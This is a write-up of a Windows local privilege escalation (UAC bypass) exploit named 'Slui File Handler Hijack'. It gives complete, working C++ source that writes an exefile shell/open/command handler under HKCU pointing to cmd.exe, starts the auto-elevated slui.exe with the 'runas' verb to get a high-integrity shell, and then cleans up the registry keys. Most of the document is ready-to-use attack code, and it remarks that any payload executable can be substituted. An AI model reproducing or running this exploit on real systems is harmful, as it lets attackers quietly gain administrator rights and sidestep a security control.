Slui File Handler Hijack LPE

Description

slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking.

Read access to HKCU\Software\Classes\exefile\shell\open is performed upon execution. Due to the registry key being accessible from user mode, an arbitrary executable file can be injected.

This exploit is generally independent from programming language and bitness, as no DLL injection or privileged file copy is needed. In addition, if default system binaries suffice, file drops can be avoided altogether.

Code

#include <string>
#include <Windows.h>
using namespace std;

void CreateRegistryKey(HKEY key, wstring path, wstring name);
void DeleteRegistryKey(HKEY key, wstring path, wstring name);
void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value);

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	// Create Class "exefile" in HKCU

	// HKEY_CURRENT_USER
	//   Software
	//     Classes
	//       exefile
	//         shell
	//           open
	//             command
	//               @=Payload     <-- cmd.exe is used here, can be any executable

	// Create registry tree
	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes", L"exefile");
	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile", L"shell");
	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell", L"open");
	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell\\open", L"command");

	// Set payload to cmd.exe
	// Any executable can be used. File drops can, however, be avoided completely if system binaries suffice.
	SetRegistryValue(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell\\open\\command", L"", L"C:\\Windows\\System32\\cmd.exe");

	// Start slui.exe with "runas" verb
	ShellExecuteW(NULL, L"runas", L"C:\\Windows\\System32\\slui.exe", NULL, NULL, SW_SHOWNORMAL);

	// Wait some time until it finished loading
	Sleep(1000);

	// Delete registry keys, but only from \Software\Classes\exefile\shell to not interfere with other application handlers
	DeleteRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell\\open", L"command");
	DeleteRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell", L"open");
	return 0;
}



void CreateRegistryKey(HKEY key, wstring path, wstring name)
{
	HKEY hKey;
	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		HKEY hKeyResult;
		RegCreateKeyW(hKey, name.c_str(), &hKeyResult);
		RegCloseKey(hKey);
	}
}
void DeleteRegistryKey(HKEY key, wstring path, wstring name)
{
	HKEY hKey;
	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		RegDeleteKeyW(hKey, name.c_str());
		RegCloseKey(hKey);
	}
}
void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value)
{
	HKEY hKey;
	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, (BYTE*)value.c_str(), ((DWORD)wcslen(value.c_str()) + 1) * sizeof(wchar_t));
		RegCloseKey(hKey);
	}
}

Expected Result

When everything worked correctly, a cmd.exe should be spawned with high IL.

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